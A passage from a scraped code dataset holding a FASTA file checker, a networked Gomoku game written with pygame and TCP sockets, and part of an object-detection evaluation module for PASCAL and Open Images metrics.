filename.find(\".\")\n name = filename[:pos]\n new_filename = name+\"_blastp.fasta\" # Nuevo nombre\n new_dir = os.path.join(cwd, new_filename)\n file = open(direccion, \"r\")\n file2 = file.read()\n file.close()\n fasta = file2.count(\">\") # Compruebo formato\n if fasta == 0:\n print(\"ERROR: El archivo no es de formato FASTA\")\n exit()\n else:\n shutil.copy(direccion, new_dir) # Lo muevo a la carpeta principal\n\n return()\n\n","repo_name":"andreaalvarezp/Proyecto_Python_Programacion","sub_path":"query_analizer.py","file_name":"query_analizer.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32612581414","text":"#导入所需的模块\r\nimport random\r\nimport threading\r\nimport time\r\nimport sys\r\nimport pygame\r\nfrom button import Button\r\nfrom word import Word\r\nfrom socket import *\r\nimport inspect\r\nimport ctypes\r\ntcp_socket = socket(AF_INET, SOCK_STREAM)\r\n# 2.准备连接服务器，建立连接\r\nserve_ip = \"192.168.43.171\"\r\ntuichu = 1\r\nserve_port = 8000\r\ntcp_socket = socket(AF_INET, SOCK_STREAM)\r\n# 2.准备连接服务器，建立连接\r\nserve_ip = \"192.168.43.171\"\r\ntuichu = 1\r\nserve_port = 8000\r\nqianzui=\"010414\"\r\n\r\ndef _async_raise( tid, exctype):\r\n \"\"\"raises the exception, performs cleanup if needed\"\"\"\r\n tid = ctypes.c_long(tid)\r\n\r\n if not inspect.isclass(exctype):\r\n exctype = type(exctype)\r\n # print(\"womeiyong\")\r\n res = ctypes.pythonapi.PyThreadState_SetAsyncExc(tid, ctypes.py_object(exctype))\r\n print(\"womeiyong\")\r\n\r\n if res == 0:\r\n raise ValueError(\"invalid thread id\")\r\n elif res != 1:\r\n # \"\"\"if it returns a number greater than one, you're in trouble,\r\n # and you should call it again with exc=NULL to revert the effect\"\"\"\r\n ctypes.pythonapi.PyThreadState_SetAsyncExc(tid, None)\r\n raise SystemError(\"PyThreadState_SetAsyncExc failed\")\r\n\r\n\r\ndef stop_thread (thread):\r\n _async_raise(thread.ident, SystemExit)\r\n\r\nclass chessboard:\r\n def __init__(self):\r\n self.win=False\r\n self.czf=0\r\n self.zhishi=0\r\n self.suo=0\r\n self.cike='black'\r\n pygame.init()\r\n self.stats=False\r\n self.diyici=1\r\n self.screen = pygame.display.set_mode((900,800))\r\n self.play_button=Button(self,'重开',450,20)\r\n self.start_button=Button(self,'开始',350,20)\r\n self.tc_button=Button(self,'退出',550,20)\r\n self.ok_button=Button(self,'同意',370,350)\r\n self.no_button=Button(self,'拒绝',470,350)\r\n self.kaishi_text=Word(self,70,30)\r\n\r\n pygame.display.set_caption('五子棋')\r\n self.screen.fill('white')\r\n\r\n self.grid_count=20\r\n pygame.draw.rect(self.screen, (185, 122, 87),[125,75,650,650])\r\n for i in range(21):\r\n pygame.draw.line(self.screen,(0.0,0,0),(150+(i)*30,100),(150+(i)*30,700))\r\n pygame.draw.line(self.screen,(0.0,0,0),(150,100+(i)*30),(750,100+(i)*30))\r\n self.grid = []\r\n for i in range(self.grid_count+1):\r\n self.grid.append(list(\".\" * (self.grid_count+1)))\r\n\r\n self.play_button.draw_button()\r\n\r\n self.start_button.draw_button()\r\n\r\n self.tc_button.draw_button()\r\n self.kaishi_text.draw_text(\"点击开始连接服务端\")\r\n self.number = random.randint(1,2)\r\n tcp_socket.connect((serve_ip, serve_port))\r\n tcp_socket.send(\"okok\".encode())\r\n self.t = threading.Thread(target=self.run, args=())\r\n self.t.daemon = True\r\n self.t.start()\r\n\r\n\r\n def faxiaoxi(self,senddata):\r\n\r\n tcp_socket.send(senddata.encode())\r\n\r\n def shouxiaoxi(self):\r\n while (True):\r\n recv_data = tcp_socket.recv(4096)\r\n msg=recv_data.decode()\r\n print(msg)\r\n if msg==\"return\" :\r\n if self.zhishi==0:\r\n self.stats=False\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"对方申请重开\")\r\n self.start_button.updatetext(\"同意\")\r\n self.play_button.updatetext(\"拒绝\")\r\n self.czf=1\r\n elif self.zhishi==1:\r\n self.stats=False\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"等待对方同意重开\")\r\n\r\n if msg==\"dfexit\" and self.stats:\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"对方已退出\")\r\n time.sleep(2)\r\n self.congzhi()\r\n self.stats=False\r\n self.kaishi_text.draw_text(\"点击开始连接服务端\")\r\n if msg==\"jjl\" :\r\n if self.czf==1:\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"你拒绝了重开申请\")\r\n if self.czf == 0:\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"对方拒绝了重开申请\")\r\n\r\n self.zhishi=0\r\n self.czf=0\r\n self.play_button.updatetext(\"重开\")\r\n print(\"whywhy=================\")\r\n if not self.win:\r\n self.start_button.updatetext(\"开始\")\r\n self.tc_button.updatetext(\"退出\")\r\n if not self.win:\r\n self.stats=True\r\n if self.win:\r\n self.start_button.draw_kong()\r\n time.sleep(1)\r\n if self.suo == 1 and not self.win:\r\n\r\n\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"我方回合\")\r\n elif self.suo == 0 and not self.win:\r\n\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"对方回合\")\r\n if msg==\"tyl\" :\r\n self.zhishi=0\r\n self.czf=0\r\n print(\"whywhy=================\")\r\n self.play_button.updatetext(\"重开\")\r\n self.start_button.updatetext(\"开始\")\r\n self.tc_button.updatetext(\"退出\")\r\n self.congzhi()\r\n tcp_socket.send(\"wait\".encode())\r\n if msg==\"wait\" and self.stats:\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"等待对方连接\")\r\n elif msg==\"wait\" and not self.stats:\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"对方已准备好\")\r\n elif msg==\"1\":\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"我是先手黑子\")\r\n self.suo=1\r\n elif msg==\"0\":\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"我是后手白子\")\r\n self.suo=0\r\n elif msg[0:6]==\"010414\":\r\n uy=[]\r\n x=msg[6:12].strip()\r\n y=msg[12:18].strip()\r\n print(x)\r\n print(y)\r\n uy.append(int(x))\r\n uy.append(int(y))\r\n if self.suo==0:\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"我方回合\")\r\n self.suo=1\r\n print(\"jiechu\")\r\n elif self.suo==1:\r\n self.kaishi_text.draw_text(\" \")\r\n self.kaishi_text.draw_text(\"对方回合\")\r\n self.suo=0\r\n self.placechess(uy)\r\n\r\n\r\n def run(self):\r\n\r\n self.shouxiaoxi()\r\n\r\n\r\n def check_button(self,mouse_pos):\r\n button_clicked=self.play_button.rect.collidepoint(mouse_pos)\r\n button_clicked1=self.start_button.rect.collidepoint(mouse_pos)\r\n button_clicked2=self.tc_button.rect.collidepoint(mouse_pos)\r\n if button_clicked and (self.stats or self.win) and self.zhishi==0 and self.czf==0: #重开按钮\r\n # tcp_socket.send(\"return\".encode())\r\n self.stats=False\r\n self.zhishi=1\r\n self.start_button.draw_kong()\r\n self.tc_button.draw_kong()\r\n self.play_button.draw_kong()\r\n tcp_socket.send(\"return\".encode())\r\n # self.congzhi()\r\n if button_clicked2 and self.zhishi==0 and self.czf==0: #退出按钮\r\n tcp_socket.send(\"exit\".encode())\r\n pygame.quit()\r\n\r\n sys.exit()\r\n\r\n if button_clicked1 and not self.stats and self.zhishi==0 and self.czf==0 and not self.win: #开始按钮\r\n\r\n self.kaishi_text.draw_text(\" \")\r\n self.start()\r\n tcp_socket.send(\"wait\".encode())\r\n if button_clicked1 and self.czf==1: #开始按钮\r\n tcp_socket.send(\"tyl\".encode())\r\n print(\"=====okok======\")\r\n if button_clicked and self.czf==1: #开始按钮\r\n tcp_socket.send(\"jjl\".encode())\r\n print(\"=====okok======\")\r\n\r\n def start(self):\r\n\r\n self.stats=True\r\n\r\n def congzhi(self):\r\n self.suo=0\r\n self.stats=True\r\n for i in range(self.grid_count):\r\n for ix in range(self.grid_count):\r\n self.grid[i][ix]='.'\r\n pygame.draw.rect(self.screen,(185, 122, 87),[125,75,650,650])\r\n for i in range(21):\r\n pygame.draw.line(self.screen,(0.0,0,0),(150+(i)*30,100),(150+(i)*30,700))\r\n pygame.draw.line(self.screen,(0.0,0,0),(150,100+(i)*30),(750,100+(i)*30))\r\n\r\n\r\n def xrun(self):\r\n\r\n while True:\r\n\r\n for event in pygame.event.get():\r\n button_clicked = self.play_button.rect.collidepoint(pygame.mouse.get_pos())\r\n button_clicked1 = self.start_button.rect.collidepoint(pygame.mouse.get_pos())\r\n button_clicked2 = self.tc_button.rect.collidepoint(pygame.mouse.get_pos())\r\n if event.type == pygame.QUIT:\r\n # stop_thread(self.t)\r\n tcp_socket.send(\"exit\".encode())\r\n pygame.quit()\r\n print(\"kasi\")\r\n sys.exit()\r\n elif event.type == pygame.MOUSEBUTTONDOWN:\r\n e = pygame.mouse.get_pos()\r\n self.check_button(e)\r\n if e[0]<135 or e[0]>765 or e[1]>715 or e[1]<90:\r\n continue\r\n else:\r\n x=round((e[0]-150)/30)\r\n y=round((e[1]-100)/30)\r\n if x<0:\r\n x=0\r\n if y<0:\r\n y=0\r\n if self.suo == 1 and self.stats and not button_clicked1 and not button_clicked and not button_clicked2 and self.grid[x][y]==\".\":\r\n a=str(e[0])\r\n b=str(e[1])\r\n hg=a.ljust(6)\r\n gh=b.ljust(6)\r\n daan=qianzui+hg+gh\r\n print(daan)\r\n tcp_socket.send(daan.encode())\r\n\r\n print(\"jhd\")\r\n pygame.display.flip()\r\n\r\n\r\n\r\n\r\n\r\n def placechess(self,e):\r\n if e[0]<135 or e[0]>765 or e[1]>715 or e[1]<90:\r\n\r\n return 0\r\n else:\r\n x=round((e[0]-150)/30)\r\n y=round((e[1]-100)/30)\r\n if x<0:\r\n x=0\r\n if y<0:\r\n y=0\r\n\r\n\r\n print(self.grid[x][y])\r\n\r\n if self.grid[x][y]==\".\" and self.cike =='white' and self.stats:\r\n pygame.draw.circle(self.screen,(255,255,255),(150+x*30,100+y*30),15)\r\n self.grid[x][y]='white'\r\n if(self.check_win(x,y,self.cike)):\r\n self.kaishi_text.draw_text(\"白子获胜\")\r\n self.stats=False\r\n self.win=True\r\n self.start_button.draw_kong()\r\n\r\n self.cike='black'\r\n\r\n if self.grid[x][y]==\".\" and self.cike =='black' and self.stats:\r\n pygame.draw.circle(self.screen,(0,0,0),(150+x*30,100+y*30),15)\r\n self.grid[x][y]='black'\r\n if(self.check_win(x,y,self.cike)):\r\n self.kaishi_text.draw_text(\"黑子获胜\")\r\n self.stats=False\r\n self.win=True\r\n self.start_button.draw_kong()\r\n print('congzhi')\r\n\r\n\r\n self.cike='white'\r\n print(\"fangshengle\")\r\n\r\n def countchess(self,x,y,rightpian,uppian,color):\r\n sum=0\r\n nowx=x+rightpian\r\n nowy=y+uppian\r\n while True:\r\n if(nowx<0 or nowy<0 or nowx>=self.grid_count+1 or nowy>=self.grid_count+1):\r\n return sum\r\n if(self.grid[nowx][nowy]!=color):\r\n break\r\n nowx=nowx+rightpian\r\n nowy=nowy+uppian\r\n sum=sum+1\r\n return sum\r\n\r\n def check_win(self,x,y,color):\r\n nowr=self.countchess(x,y,1,0,color) #右边棋子数目\r\n nowl=self.countchess(x,y,-1,0,color) #左边棋子数目\r\n nowu=self.countchess(x,y,0,1,color) #上边棋子数目\r\n nowd=self.countchess(x,y,0,-1,color) #下边棋子数目\r\n nowru=self.countchess(x,y,1,1,color) #右上边棋子数目\r\n nowlu=self.countchess(x,y,-1,1,color) #左上棋子数目\r\n nowld=self.countchess(x,y,-1,-1,color) #左下棋子数目\r\n nowrd=self.countchess(x,y,1,-1,color) #右下棋子数目\r\n print('('+str(x)+','+str(y)+')'+ color+'横有'+str(nowr+nowl+1))\r\n print('('+str(x)+','+str(y)+')'+ color+'竖有'+str(nowu+nowd+1))\r\n print('('+str(x)+','+str(y)+')'+ color+'右斜有'+str(nowru+nowld+1))\r\n print('('+str(x)+','+str(y)+')'+ color+'左斜有'+str(nowrd+nowlu+1))\r\n if nowr+nowl+1>=5 or nowu+nowd+1>=5 or nowru+nowld+1>=5 or nowrd+nowlu+1>=5:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n\r\nif __name__==\"__main__\":\r\n game=chessboard()\r\n game.xrun()\r\n","repo_name":"arrliu/Gobang","sub_path":"wuziqi/wuziqi.py","file_name":"wuziqi.py","file_ext":"py","file_size_in_byte":13627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20078701424","text":"from __future__ import (\n absolute_import,\n division,\n print_function,\n unicode_literals,\n)\nimport collections\nimport logging\nimport numpy as np\nfrom abc import ABCMeta, abstractmethod\n\nfrom . import label_map_util, metrics, per_image_evaluation, standard_fields\n\n\nclass DetectionEvaluator:\n \"\"\"Interface for object detection evalution classes.\n\n Example usage of the Evaluator:\n ------------------------------\n evaluator = DetectionEvaluator(categories)\n\n # Detections and groundtruth for image 1.\n evaluator.add_single_groundtruth_image_info(...)\n evaluator.add_single_detected_image_info(...)\n\n # Detections and groundtruth for image 2.\n evaluator.add_single_groundtruth_image_info(...)\n evaluator.add_single_detected_image_info(...)\n\n metrics_dict = evaluator.evaluate()\n \"\"\"\n\n __metaclass__ = ABCMeta\n\n def __init__(self, categories):\n \"\"\"Constructor.\n\n Args:\n categories: A list of dicts, each of which has the following keys -\n 'id': (required) an integer id uniquely identifying this category.\n 'name': (required) string representing category name e.g., 'cat', 'dog'.\n \"\"\"\n self._categories = categories\n\n @abstractmethod\n def add_single_ground_truth_image_info(self, image_id, groundtruth_dict):\n \"\"\"Adds groundtruth for a single image to be used for evaluation.\n\n Args:\n image_id: A unique string/integer identifier for the image.\n groundtruth_dict: A dictionary of groundtruth numpy arrays required\n for evaluations.\n \"\"\"\n pass\n\n @abstractmethod\n def add_single_detected_image_info(self, image_id, detections_dict):\n \"\"\"Adds detections for a single image to be used for evaluation.\n\n Args:\n image_id: A unique string/integer identifier for the image.\n detections_dict: A dictionary of detection numpy arrays required\n for evaluation.\n \"\"\"\n pass\n\n @abstractmethod\n def evaluate(self):\n \"\"\"Evaluates detections and returns a dictionary of metrics.\"\"\"\n pass\n\n @abstractmethod\n def clear(self):\n \"\"\"Clears the state to prepare for a fresh evaluation.\"\"\"\n pass\n\n\nclass ObjectDetectionEvaluator(DetectionEvaluator):\n \"\"\"A class to evaluate detections.\"\"\"\n\n def __init__(\n self,\n categories,\n matching_iou_threshold=0.5,\n evaluate_corlocs=False,\n metric_prefix=None,\n use_weighted_mean_ap=False,\n evaluate_masks=False,\n ):\n \"\"\"Constructor.\n\n Args:\n categories: A list of dicts, each of which has the following keys -\n 'id': (required) an integer id uniquely identifying this category.\n 'name': (required) string representing category name e.g., 'cat', 'dog'.\n matching_iou_threshold: IOU threshold to use for matching groundtruth\n boxes to detection boxes.\n evaluate_corlocs: (optional) boolean which determines if corloc scores\n are to be returned or not.\n metric_prefix: (optional) string prefix for metric name; if None, no\n prefix is used.\n use_weighted_mean_ap: (optional) boolean which determines if the mean\n average precision is computed directly from the scores and tp_fp_labels\n of all classes.\n evaluate_masks: If False, evaluation will be performed based on boxes.\n If True, mask evaluation will be performed instead.\n\n Raises:\n ValueError: If the category ids are not 1-indexed.\n \"\"\"\n super(ObjectDetectionEvaluator, self).__init__(categories)\n self._num_classes = max([cat[\"id\"] for cat in categories])\n if min(cat[\"id\"] for cat in categories) < 1:\n raise ValueError(\"Classes should be 1-indexed.\")\n self._matching_iou_threshold = matching_iou_threshold\n self._use_weighted_mean_ap = use_weighted_mean_ap\n self._label_id_offset = 1\n self._evaluate_masks = evaluate_masks\n self._evaluation = ObjectDetectionEvaluation(\n num_groundtruth_classes=self._num_classes,\n matching_iou_threshold=self._matching_iou_threshold,\n use_weighted_mean_ap=self._use_weighted_mean_ap,\n label_id_offset=self._label_id_offset,\n )\n self._image_ids = set([])\n self._evaluate_corlocs = evaluate_corlocs\n self._metric_prefix = (metric_prefix + \"_\") if metric_prefix else \"\"\n\n def add_single_ground_truth_image_info(self, image_id, groundtruth_dict):\n \"\"\"Adds groundtruth for a single image to be used for evaluation.\n\n Args:\n image_id: A unique string/integer identifier for the image.\n groundtruth_dict: A dictionary containing -\n standard_fields.InputDataFields.groundtruth_boxes: float32 numpy array\n of shape [num_boxes, 4] containing `num_boxes` groundtruth boxes of\n the format [ymin, xmin, ymax, xmax] in absolute image coordinates.\n standard_fields.InputDataFields.groundtruth_classes: integer numpy array\n of shape [num_boxes] containing 1-indexed groundtruth classes for the\n boxes.\n standard_fields.InputDataFields.groundtruth_difficult: Optional length\n M numpy boolean array denoting whether a ground truth box is a\n difficult instance or not. This field is optional to support the case\n that no boxes are difficult.\n standard_fields.InputDataFields.groundtruth_instance_masks: Optional\n numpy array of shape [num_boxes, height, width] with values in {0, 1}.\n\n Raises:\n ValueError: On adding groundtruth for an image more than once. Will also\n raise error if instance masks are not in groundtruth dictionary.\n \"\"\"\n if image_id in self._image_ids:\n raise ValueError(\"Image with id {} already added.\".format(image_id))\n\n groundtruth_classes = (\n groundtruth_dict[\n standard_fields.InputDataFields.groundtruth_classes\n ]\n - self._label_id_offset\n )\n # If the key is not present in the groundtruth_dict or the array is empty\n # (unless there are no annotations for the groundtruth on this image)\n # use values from the dictionary or insert None otherwise.\n if (\n standard_fields.InputDataFields.groundtruth_difficult\n in groundtruth_dict.keys()\n and (\n groundtruth_dict[\n standard_fields.InputDataFields.groundtruth_difficult\n ].size\n or not groundtruth_classes.size\n )\n ):\n groundtruth_difficult = groundtruth_dict[\n standard_fields.InputDataFields.groundtruth_difficult\n ]\n else:\n groundtruth_difficult = None\n if not len(self._image_ids) % 1000:\n logging.warning(\n \"image %s does not have groundtruth difficult flag specified\",\n image_id,\n )\n groundtruth_masks = None\n if self._evaluate_masks:\n if (\n standard_fields.InputDataFields.groundtruth_instance_masks\n not in groundtruth_dict\n ):\n raise ValueError(\n \"Instance masks not in groundtruth dictionary.\"\n )\n groundtruth_masks = groundtruth_dict[\n standard_fields.InputDataFields.groundtruth_instance_masks\n ]\n self._evaluation.add_single_ground_truth_image_info(\n image_key=image_id,\n groundtruth_boxes=groundtruth_dict[\n standard_fields.InputDataFields.groundtruth_boxes\n ],\n groundtruth_class_labels=groundtruth_classes,\n groundtruth_is_difficult_list=groundtruth_difficult,\n groundtruth_masks=groundtruth_masks,\n )\n self._image_ids.update([image_id])\n\n def add_single_detected_image_info(self, image_id, detections_dict):\n \"\"\"Adds detections for a single image to be used for evaluation.\n\n Args:\n image_id: A unique string/integer identifier for the image.\n detections_dict: A dictionary containing -\n standard_fields.DetectionResultFields.detection_boxes: float32 numpy\n array of shape [num_boxes, 4] containing `num_boxes` detection boxes\n of the format [ymin, xmin, ymax, xmax] in absolute image coordinates.\n standard_fields.DetectionResultFields.detection_scores: float32 numpy\n array of shape [num_boxes] containing detection scores for the boxes.\n standard_fields.DetectionResultFields.detection_classes: integer numpy\n array of shape [num_boxes] containing 1-indexed detection classes for\n the boxes.\n standard_fields.DetectionResultFields.detection_masks: uint8 numpy\n array of shape [num_boxes, height, width] containing `num_boxes` masks\n of values ranging between 0 and 1.\n\n Raises:\n ValueError: If detection masks are not in detections dictionary.\n \"\"\"\n detection_classes = (\n detections_dict[\n standard_fields.DetectionResultFields.detection_classes\n ]\n - self._label_id_offset\n )\n detection_masks = None\n if self._evaluate_masks:\n if (\n standard_fields.DetectionResultFields.detection_masks\n not in detections_dict\n ):\n raise ValueError(\n \"Detection masks not in detections dictionary.\"\n )\n detection_masks = detections_dict[\n standard_fields.DetectionResultFields.detection_masks\n ]\n self._evaluation.add_single_detected_image_info(\n image_key=image_id,\n detected_boxes=detections_dict[\n standard_fields.DetectionResultFields.detection_boxes\n ],\n detected_scores=detections_dict[\n standard_fields.DetectionResultFields.detection_scores\n ],\n detected_class_labels=detection_classes,\n detected_masks=detection_masks,\n )\n\n def evaluate(self):\n \"\"\"Compute evaluation result.\n\n Returns:\n A dictionary of metrics with the following fields -\n\n 1. summary_metrics:\n 'Precision/mAP@IOU': mean average precision at\n the specified IOU threshold.\n\n 2. per_category_ap: category specific results with keys of the form\n 'PerformanceByCategory/mAP@IOU/category'.\n \"\"\"\n (\n per_class_ap,\n mean_ap,\n _,\n _,\n per_class_corloc,\n mean_corloc,\n ) = self._evaluation.evaluate()\n pascal_metrics = {\n self._metric_prefix\n + \"Precision/mAP@{}IOU\".format(\n self._matching_iou_threshold\n ): mean_ap\n }\n if self._evaluate_corlocs:\n pascal_metrics[\n self._metric_prefix\n + \"Precision/meanCorLoc@{}IOU\".format(\n self._matching_iou_threshold\n )\n ] = mean_corloc\n category_index = label_map_util.create_category_index(self._categories)\n for idx in range(per_class_ap.size):\n if idx + self._label_id_offset in category_index:\n display_name = (\n self._metric_prefix\n + \"PerformanceByCategory/AP@{}IOU/{}\".format(\n self._matching_iou_threshold,\n category_index[idx + self._label_id_offset][\"name\"],\n )\n )\n pascal_metrics[display_name] = per_class_ap[idx]\n\n # Optionally add CorLoc metrics.classes\n if self._evaluate_corlocs:\n display_name = (\n self._metric_prefix\n + \"PerformanceByCategory/CorLoc@{}IOU/{}\".format(\n self._matching_iou_threshold,\n category_index[idx + self._label_id_offset][\"name\"],\n )\n )\n pascal_metrics[display_name] = per_class_corloc[idx]\n\n return pascal_metrics\n\n def clear(self):\n \"\"\"Clears the state to prepare for a fresh evaluation.\"\"\"\n self._evaluation = ObjectDetectionEvaluation(\n num_groundtruth_classes=self._num_classes,\n matching_iou_threshold=self._matching_iou_threshold,\n use_weighted_mean_ap=self._use_weighted_mean_ap,\n label_id_offset=self._label_id_offset,\n )\n self._image_ids.clear()\n\n\nclass PascalDetectionEvaluator(ObjectDetectionEvaluator):\n \"\"\"A class to evaluate detections using PASCAL metrics.\"\"\"\n\n def __init__(self, categories, matching_iou_threshold=0.5):\n super(PascalDetectionEvaluator, self).__init__(\n categories,\n matching_iou_threshold=matching_iou_threshold,\n evaluate_corlocs=False,\n metric_prefix=\"PascalBoxes\",\n use_weighted_mean_ap=False,\n )\n\n\nclass WeightedPascalDetectionEvaluator(ObjectDetectionEvaluator):\n \"\"\"A class to evaluate detections using weighted PASCAL metrics.\n\n Weighted PASCAL metrics computes the mean average precision as the average\n precision given the scores and tp_fp_labels of all classes. In comparison,\n PASCAL metrics computes the mean average precision as the mean of the\n per-class average precisions.\n\n This definition is very similar to the mean of the per-class average\n precisions weighted by class frequency. However, they are typically not the\n same as the average precision is not a linear function of the scores and\n tp_fp_labels.\n \"\"\"\n\n def __init__(self, categories, matching_iou_threshold=0.5):\n super(WeightedPascalDetectionEvaluator, self).__init__(\n categories,\n matching_iou_threshold=matching_iou_threshold,\n evaluate_corlocs=False,\n metric_prefix=\"WeightedPascalBoxes\",\n use_weighted_mean_ap=True,\n )\n\n\nclass PascalInstanceSegmentationEvaluator(ObjectDetectionEvaluator):\n \"\"\"A class to evaluate instance masks using PASCAL metrics.\"\"\"\n\n def __init__(self, categories, matching_iou_threshold=0.5):\n super(PascalInstanceSegmentationEvaluator, self).__init__(\n categories,\n matching_iou_threshold=matching_iou_threshold,\n evaluate_corlocs=False,\n metric_prefix=\"PascalMasks\",\n use_weighted_mean_ap=False,\n evaluate_masks=True,\n )\n\n\nclass WeightedPascalInstanceSegmentationEvaluator(ObjectDetectionEvaluator):\n \"\"\"A class to evaluate instance masks using weighted PASCAL metrics.\n\n Weighted PASCAL metrics computes the mean average precision as the average\n precision given the scores and tp_fp_labels of all classes. In comparison,\n PASCAL metrics computes the mean average precision as the mean of the\n per-class average precisions.\n\n This definition is very similar to the mean of the per-class average\n precisions weighted by class frequency. However, they are typically not the\n same as the average precision is not a linear function of the scores and\n tp_fp_labels.\n \"\"\"\n\n def __init__(self, categories, matching_iou_threshold=0.5):\n super(WeightedPascalInstanceSegmentationEvaluator, self).__init__(\n categories,\n matching_iou_threshold=matching_iou_threshold,\n evaluate_corlocs=False,\n metric_prefix=\"WeightedPascalMasks\",\n use_weighted_mean_ap=True,\n evaluate_masks=True,\n )\n\n\nclass OpenImagesDetectionEvaluator(ObjectDetectionEvaluator):\n \"\"\"A class to evaluate detections using Open Images V2 metrics.\n\n Open Images V2 introduce group_of type of bounding boxes and this metric\n handles those boxes appropriately.\n \"\"\"\n\n def __init__(\n self, categories, matching_iou_threshold=0.5, evaluate_corlocs=False\n ):\n \"\"\"Constructor.\n\n Args:\n categories: A list of dicts, each of which has the following keys -\n 'id': (required) an integer id uniquely identifying this category.\n 'name': (required) string representing category name e.g., 'cat', 'dog'.\n matching_iou_threshold: IOU threshold to use for matching groundtruth\n boxes to detection boxes.\n evaluate_corlocs: if True, additionally evaluates and returns CorLoc.\n \"\"\"\n super(OpenImagesDetectionEvaluator, self).__init__(\n categories,\n matching_iou_threshold,\n evaluate_corlocs,\n metric_prefix=\"OpenImagesV2\",\n )\n\n def add_single_ground_truth_image_info(self, image_id, groundtruth_dict):\n \"\"\"Adds groundtruth for a single image to be used for evaluation.\n\n Args:\n image_id: A unique string/integer identifier for the image.\n groundtruth_dict: A dictionary containing -\n standard_fields.InputDataFields.groundtruth_boxes: float32 numpy array\n of shape [num_boxes, 4] containing `num_boxes` groundtruth boxes of\n the format [ymin, xmin, ymax, xmax] in absolute image coordinates.\n standard_fields.InputDataFields.groundtruth_classes: integer numpy array\n of shape [num_boxes] containing 1-indexed groundtruth classes for the\n boxes.\n standard_fields.InputDataFields.groundtruth_group_of: Optional length\n M numpy boolean array denoting whether a groundtruth box contains a\n group of instances.\n\n Raises:\n ValueError: On adding groundtruth for an image more than once.\n \"\"\"\n if image_id in self._image_ids:\n raise ValueError(\"Image with id {} already added.\".format(image_id))\n\n groundtruth_classes = (\n groundtruth_dict[\n standard_fields.InputDataFields.groundtruth_classes\n ]\n - self._label_id_offset\n )\n # If the key is not present in the groundtruth_dict or the array is empty\n # (unless there are no annotations for the groundtruth on this image)\n # use values from the dictionary or insert None otherwise.\n if (\n standard_fields.InputDataFields.groundtruth_group_of\n in groundtruth_dict.keys()\n and (\n groundtruth_dict[\n standard_fields.InputDataFields.groundtruth_group_of\n ].size\n or not groundtruth_classes.size\n )\n ):\n groundtruth_group_of = groundtruth_dict[\n standard_fields.InputDataFields.groundtruth_group_of\n ]\n else:\n groundtruth_group_of = None\n if not len(self._image_ids) % 1000:\n logging.warning(\n \"image %s does not have groundtruth group_of flag specified\",\n image_id,\n )\n self._evaluation.add_single_ground_truth_image_info(\n image_id,\n groundtruth_dict[standard_fields.InputDataFields.groundtruth_boxes],\n groundtruth_classes,\n groundtruth_is_difficult_list=None,\n groundtruth_is_group_of_list=groundtruth_group_of,\n )\n self._image_ids.update([image_id])\n\n\nObjectDetectionEvalMetrics = collections.namedtuple(\n \"ObjectDetectionEvalMetrics\",\n [\n \"average_precisions\",\n \"mean_ap\",\n \"precisions\",\n \"recalls\",\n \"corlocs\",\n \"mean_corloc\",\n ],\n)\n\n\nclass ObjectDetectionEvaluation:\n \"\"\"Internal implementation of Pascal object detection metrics.\"\"\"\n\n def __init__(\n self,\n num_groundtruth_classes,\n matching_iou_threshold=0.5,\n nms_iou_threshold=1.0,\n nms_max_output_boxes=10000,\n use_weighted_mean_ap=False,\n label_id_offset=0,\n ):\n if num_groundtruth_classes < 1:\n raise ValueError(\n \"Need at least 1 groundtruth class for evaluation.\"\n )\n\n self.per_image_eval = per_image_evaluation.PerImageEvaluation(\n num_groundtruth_classes=num_groundtruth_classes,\n matching_iou_threshold=matching_iou_threshold,\n )\n self.num_class = num_groundtruth_classes\n self.use_weighted_mean_ap = use_weighted_mean_ap\n self.label_id_offset = label_id_offset\n\n self.groundtruth_boxes = {}\n self.groundtruth_class_labels = {}\n self.groundtruth_masks = {}\n self.groundtruth_is_difficult_list = {}\n self.groundtruth_is_group_of_list = {}\n self.num_gt_instances_per_class = np.zeros(self.num_class, dtype=int)\n self.num_gt_imgs_per_class = np.zeros(self.num_class, dtype=int)\n\n self._initialize_detections()\n\n def _initialize_detections(self):\n self.detection_keys = set()\n self.scores_per_class = [[] for _ in range(self.num_class)]\n self.tp_fp_labels_per_class = [[] for _ in range(self.num_class)]\n self.num_images_correctly_detected_per_class = np.zeros(self.num_class)\n self.average_precision_per_class = np.empty(self.num_class, dtype=float)\n self.average_precision_per_class.fill(np.nan)\n self.precisions_per_class = []\n self.recalls_per_class = []\n self.corloc_per_class = np.ones(self.num_class, dtype=float)\n\n def clear_detections(self):\n self._initialize_detections()\n\n def add_single_ground_truth_image_info(\n self,\n image_key,\n groundtruth_boxes,\n groundtruth_class_labels,\n groundtruth_is_difficult_list=None,\n groundtruth_is_group_of_list=None,\n groundtruth_masks=None,\n ):\n \"\"\"Adds groundtruth for a single image to be used for evaluation.\n\n Args:\n image_key: A unique string/integer identifier for the image.\n groundtruth_boxes: float32 numpy array of shape [num_boxes, 4]\n containing `num_boxes` groundtruth boxes of the format\n [ymin, xmin, ymax, xmax] in absolute image coordinates.\n groundtruth_class_labels: integer numpy array of shape [num_boxes]\n containing 0-indexed groundtruth classes for the boxes.\n groundtruth_is_difficult_list: A length M numpy boolean array denoting\n whether a ground truth box is a difficult instance or not. To support\n the case that no boxes are difficult, it is by default set as None.\n groundtruth_is_group_of_list: A length M numpy boolean array denoting\n whether a ground truth box is a group-of box or not. To support\n the case that no boxes are groups-of, it is by default set as None.\n 